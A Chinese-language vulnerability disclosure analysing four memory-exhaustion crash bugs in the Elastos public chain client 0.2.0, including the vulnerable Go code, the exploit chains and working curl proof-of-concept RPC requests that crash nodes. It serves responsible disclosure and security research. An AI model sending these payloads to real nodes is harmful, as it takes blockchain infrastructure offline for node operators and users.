關(guān)于區(qū)塊鏈安全的資料,目前互聯(lián)網(wǎng)上主要側(cè)重于錢包安全、智能合約安全、交易所安全等,而很少有關(guān)于公鏈安全的資料,公鏈?zhǔn)且陨弦磺袠I(yè)務(wù)應(yīng)用的基礎(chǔ),本文將介紹公鏈中比較常見的一種的DoS漏洞。
1、 知識(shí)儲(chǔ)備
公鏈客戶端與其他傳統(tǒng)軟件的客戶端沒有太大區(qū)別,在傳統(tǒng)軟件上會(huì)遇到的問題在公鏈客戶端中都有可能遇到。
所以要讓一個(gè)客戶端發(fā)生Crash的常見方法有:
公鏈節(jié)點(diǎn)可被輕易攻擊下線的危害是巨大的,比如會(huì)使網(wǎng)絡(luò)算力驟減,從而導(dǎo)致51%攻擊等。
本文根據(jù)亦來云的這幾個(gè)漏洞主要介紹的是由OOM所引起的Crash漏洞。
2、 漏洞分析
本文主要對(duì)亦來云公鏈0.2.0的以下價(jià)值20ETH的4個(gè)漏洞進(jìn)行分析:
DVP-2018-08809(Reward:5ETH)
DVP-2018-08813(Reward:5ETH)
DVP-2018-08817(Reward:5ETH)
DVP-2018-10793(Reward:5ETH)
DVP-2018-08809
servers/interfaces.go漏洞代碼片段:
func DiscreteMining(param Params) map[string] interface {} { if LocalPow == nil { return ResponsePack(PowServiceNotStarted, "")?? }??count, ok: =param.Uint("count") if ! ok { return ResponsePack(InvalidParams, "")?? } ret: =make([] string, count) blockHashes, err: =LocalPow.DiscreteMining(uint32(count)) if err != nil { return ResponsePack(Error, err)???? } for i, hash: =range blockHashes {??????ret[i] = ToReversedString( * hash)???? } return ResponsePack(Success, ret) }
根據(jù)以上代碼可以發(fā)現(xiàn)DiscreteMining函數(shù)會(huì)接收一個(gè)param參數(shù),并從param中取出一個(gè)值賦值給count變量。
然后count變量會(huì)被待會(huì)make函數(shù)中
通過官方文檔了解到make函數(shù)是用于創(chuàng)建數(shù)組的,而數(shù)組的長(zhǎng)度由第二個(gè)參數(shù)控制,理論上只要第二個(gè)參數(shù)很大,就會(huì)產(chǎn)生一個(gè)占有大量?jī)?nèi)存的數(shù)組,從而導(dǎo)致OOM。
而make函數(shù)的第二個(gè)參數(shù)可以通過param參數(shù)來控制,所以只要param參數(shù)是遠(yuǎn)程可控的,就可以遠(yuǎn)程使節(jié)點(diǎn)Crash了。
最終在httpjsonrpc/server.go中發(fā)DiscreteMining能通過rpc接口遠(yuǎn)程調(diào)用,而目前的客戶端是默認(rèn)開啟rpc并綁定公網(wǎng)地址的,所以可以對(duì)公網(wǎng)上任意節(jié)點(diǎn)發(fā)送惡意包使其Crash。
StartRPCServer函數(shù)代碼片段:
func StartRPCServer() {
mainMux = make(map[string] func(Params) map[string] interface {})??http.HandleFunc("/", Handle)?? //省略一段 ? ?// mining interfaces ? ?mainMux["togglemining"] = ToggleMining
mainMux["discretemining"] = DiscreteMining??err: =http.ListenAndServe(":" + strconv.Itoa(Parameters.HttpJsonPort), nil) if err != nil {????log.Fatal("ListenAndServe: ", err.Error())??
}
}
PoC:
curl--data - binary '{"method":"discretemining","params":{"count":"99999999999999"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20333
DVP-2018-08813
core/payloadwithdrawfromsidechain.go漏洞代碼片段:
func(t * PayloadWithdrawFromSideChain) Deserialize(r io.Reader, version byte) error {??height,
err: =common.ReadUint32(r) if err != nil {
return errors.New("[PayloadWithdrawFromSideChain], BlockHeight deserialize failed.")??
}??address,
err: =common.ReadVarString(r) if err != nil {
return errors.New("[PayloadWithdrawFromSideChain], GenesisBlockAddress deserialize failed.")??
}
length,
err: =common.ReadVarUint(r, 0)
if err != nil {
return errors.New("[PayloadWithdrawFromSideChain], SideChainTransactionHashes length deserialize failed")??
}??t.SideChainTransactionHashes = nil??t.SideChainTransactionHashes = make([] common.Uint256, length) for i: =uint64(0);
i < length;
i++{
var hash common.Uint256????err: =hash.Deserialize(r) if err != nil {
return errors.New("[WithdrawFromSideChain], SideChainTransactionHashes deserialize failed.")????
}????t.SideChainTransactionHashes[i] = hash??
}??t.BlockHeight = height??t.GenesisBlockAddress = address??
return nil
}
這里同樣是由于make函數(shù)的第二個(gè)參數(shù)由參數(shù)r控制,只要r可控就可以使make函數(shù)引發(fā)OOM,從而Crash。
在servers/interface.go中的SendRawTransaction函數(shù)中發(fā)現(xiàn)間接的調(diào)用了Transaction的Deserialize函數(shù),具體如下:
func SendRawTransaction(param Params) map[string] interface {} {
str,
ok: =param.String("data") if ! ok {
return ResponsePack(InvalidParams, "need a string parameter named data")??
}
bys,
err: =HexStringToBytes(str) if err != nil {
return ResponsePack(InvalidParams, "hex string to bytes error")??
}
var txn Transaction err: =txn.Deserialize(bytes.NewReader(bys));
err != nil {
return ResponsePack(InvalidTransaction, "transaction deserialize error")??
}
if errCode: =VerifyAndSendTx( & txn);
errCode != Success {
return ResponsePack(errCode, errCode.Message())??
}
return ResponsePack(Success, ToReversedString(txn.Hash()))
}
根據(jù)如上標(biāo)紅代碼可以發(fā)現(xiàn)SendRawTransaction函數(shù)會(huì)先取RPC接口傳來的data參數(shù)復(fù)制給變量str,然后變量str會(huì)轉(zhuǎn)換為bytes復(fù)制給變量bys,最后bys變量會(huì)被帶入Transaction的Deserialize函數(shù)中。
再看看Transaction的Deserialize函數(shù):
func(tx * Transaction) Deserialize(r io.Reader) error {
// tx deserialize
if err: =tx.DeserializeUnsigned(r);
err != nil {
//略
return nil
}
//略
參數(shù)r被帶入了Transaction的DeserializeUnsigned函數(shù)中,繼續(xù)跟蹤一下:
func(tx * Transaction) DeserializeUnsigned(r io.Reader) error {
//略
tx.Payload,
err = GetPayload(tx.TxType) if err != nil {
return err??
}??err = tx.Payload.Deserialize(r, tx.PayloadVersion)
//略
return nil
}
func GetPayload(txType TransactionType)(Payload, error) {
var p Payload
switch txType {
//略
case WithdrawFromSideChain:
p = new(PayloadWithdrawFromSideChain)
case TransferCrossChainAsset:
??????p = new(PayloadTransferCrossChainAsset)
default:
return nil,
errors.New("[Transaction], invalid transaction type.")??
}
return p,
nil
}
在該函數(shù)中會(huì)先通過GetPayload(tx.TxType)來取到tx.Payload,然后會(huì)調(diào)用tx.Payload的Deserialize函數(shù),只要能控制Payload的類型為PayloadWithdrawFromSideChain,就可以觸發(fā)PayloadWithdrawFromSideChain的Deserialize函數(shù),而Transaction是通過RPC接口遠(yuǎn)程傳來的,所以tx對(duì)象的字段都是可控的。
最終的利用鏈:RPC的SendRawTransaction接口->Transaction的Deserialize函數(shù)->Transaction的DeserializeUnsigned函數(shù)->通過GetPayload取到取到PayloadWithdrawFromSideChain對(duì)象->調(diào)用其的Deserialize函數(shù)->觸發(fā)make->OOM
PoC:
curl--data - binary '{"method":"sendrawtransaction","params":{"data":"0701100000000196ffffffffff"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20336
漏洞復(fù)現(xiàn):
DVP-2018-08817
還是上面的Deserialize函數(shù)引起的OOM,不過觸發(fā)點(diǎn)不同。
這次的觸發(fā)點(diǎn)是在servers/interfaces.go中的SubmitAuxBlock函數(shù)中:
func SubmitAuxBlock(param Params) map[string] interface {} {??blockHash,
ok: =param.String("blockhash") if ! ok {
return ResponsePack(InvalidParams, "parameter blockhash not found")??
}
var msgAuxBlock * Block
if msgAuxBlock,
ok = LocalPow.MsgBlock.BlockData[blockHash]; ! ok {????log.Trace("[json-rpc:SubmitAuxBlock] block hash unknown", blockHash) return ResponsePack(InternalError, "block hash unknown")??
}??auxPow,
ok: =param.String("auxpow") if ! ok {
return ResponsePack(InvalidParams, "parameter auxpow not found")??
}
var aux aux.AuxPow??buf, _: =HexStringToBytes(auxPow) if err: =aux.Deserialize(bytes.NewReader(buf));
err != nil {????log.Trace("[json-rpc:SubmitAuxBlock] auxpow deserialization failed", auxPow) return ResponsePack(InternalError, "auxpow deserialization failed")??
}
//略
return ResponsePack(Success, true)
}
根據(jù)如上代碼可以發(fā)現(xiàn),RPC接口傳過來的auxpow參數(shù)經(jīng)過轉(zhuǎn)為bytes后會(huì)傳入變量buf,最終變量buf會(huì)被帶入Deserialize函數(shù)中,所以整個(gè)過程也是可控的,唯一不足的是這個(gè)觸發(fā)點(diǎn)還需要提供另外一個(gè)參數(shù)blockhash,如果不提供這個(gè)參數(shù)或者提供有誤的話會(huì)沒法往下執(zhí)行,不過好在正好還有一個(gè)CreateAuxblock函數(shù),利用此函數(shù)可以創(chuàng)建一個(gè)Auxblock并得到它的blockhash。
PoC:
curl--data - binary '{"method":"createauxblock","params":{"paytoaddress":"0701100000000196ffffffffff"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20336
curl--data - binary '{"method":"submitauxblock","params":{"blockhash":"上個(gè)請(qǐng)求返回的blockhash","auxpow":"ffffffffffffffffff"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20336
DVP-2018-10793
最后這一個(gè)漏洞問題不是出在亦來云公鏈源碼中,而是出在亦來云公鏈的官方依賴包(Elastos.ELA.Utility)中
common/serialize.go漏洞代碼片段:
func ReadVarBytes(reader io.Reader)([] byte, error) {????val,
err: =ReadVarUint(reader, 0) if err != nil {
return nil,
err????
}????str,
err: =byteXReader(reader, val) if err != nil {
return nil,
err??????
}
return str,
nil
}
func byteXReader(reader io.Reader, x uint64)([] byte, error) {????p: =make([] byte, x)????n,
err: =reader.Read(p) if n > 0 {
return p[: ],
nil
}
return p,
err??
}
ReadVarBytes函數(shù)會(huì)從reader參數(shù)中取出一個(gè)數(shù)值給val變量,val變量會(huì)被帶入byteXReader函數(shù) 中,而byteXReader函數(shù)會(huì)將接收到的第二個(gè)參數(shù)帶入make函數(shù)的第二個(gè)參數(shù)中,所以只要reader可控的話就能構(gòu)造一段payload最終使make函數(shù)引起OOM。
由于這個(gè)函數(shù)在一個(gè)通用工具庫(kù)中,所以理論上可以從很多地方觸發(fā),這個(gè)漏洞還是使用的是RPC接口的SendRawTransaction函數(shù)的Deserialize函數(shù)進(jìn)行觸發(fā)。
func(tx * Transaction) Deserialize(r io.Reader) error {
//略
for i: =uint64(0);
i < count;
i++{
var program Program
if err: =program.Deserialize(r);
err != nil {
return errors.New("transaction deserialize program error: " + err.Error())????
}????tx.Programs = append(tx.Programs, &program)??
}
return nil
}
然后調(diào)用到了Program的Deserialize函數(shù):
func(p * Program) Deserialize(w io.Reader) error {??parameter,
err: =ReadVarBytes(w) if err != nil {
return errors.New("Execute Program Deserialize Parameter failed.")??
}??p.Parameter = parameter code,
err: =ReadVarBytes(w) if err != nil {
return errors.New("Execute Program Deserialize Code failed.")??
}??p.Code = code
return nil
}
然后就調(diào)用到了依賴庫(kù)中的ReadVarBytes函數(shù),該函數(shù)會(huì)調(diào)用觸發(fā)OOM的byteXReader函數(shù),數(shù)據(jù)都是一路從RPC接口傳過來的,所以是可控的。
那么利用鏈就很明了了:RPC的SendRawTransaction接口->Transaction的Deserialize函數(shù)->Program的Deserialize函數(shù)->依賴庫(kù)中的ReadVarBytes函數(shù)->byteXReader函數(shù)->觸發(fā)make->OOM
PoC:
curl--data - binary '{"method":"sendrawtransaction","params":{"data":"0301ffffffffff"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20336
漏洞復(fù)現(xiàn):
3、 總結(jié)
Crash漏洞其實(shí)在傳統(tǒng)安全領(lǐng)域已經(jīng)非常常見了,比如Fuzzing瀏覽器,在遇到某些特殊輸入的時(shí)候?yàn)g覽器就會(huì)發(fā)生Crash,不過僅僅是Crash的話在傳統(tǒng)客戶端領(lǐng)域,危害其實(shí)并不是很大。
但在區(qū)塊鏈中便不同了,任何一個(gè)微小的問題都可以被無(wú)限放大,例如:整型溢出漏洞導(dǎo)致超額鑄幣。所以就Crash漏洞來說,在區(qū)塊鏈的公鏈中也是屬于高危類型的漏洞,因?yàn)楣湽?jié)點(diǎn)既是客戶端 也是服務(wù)端,屬于整個(gè)公鏈生態(tài)的基礎(chǔ)設(shè)施。
目前公鏈安全由于其門檻相對(duì)較高,所以研究的人也比較少,DVP基金會(huì)將秉著負(fù)責(zé)任的披露原則逐步公開行業(yè)內(nèi)的經(jīng)典漏洞案例,為區(qū)塊鏈安全領(lǐng)域添磚加瓦,同時(shí)我們也希望更多的白帽子參與到區(qū)塊鏈安全這個(gè)還處于蠻荒階段的領(lǐng)域中來。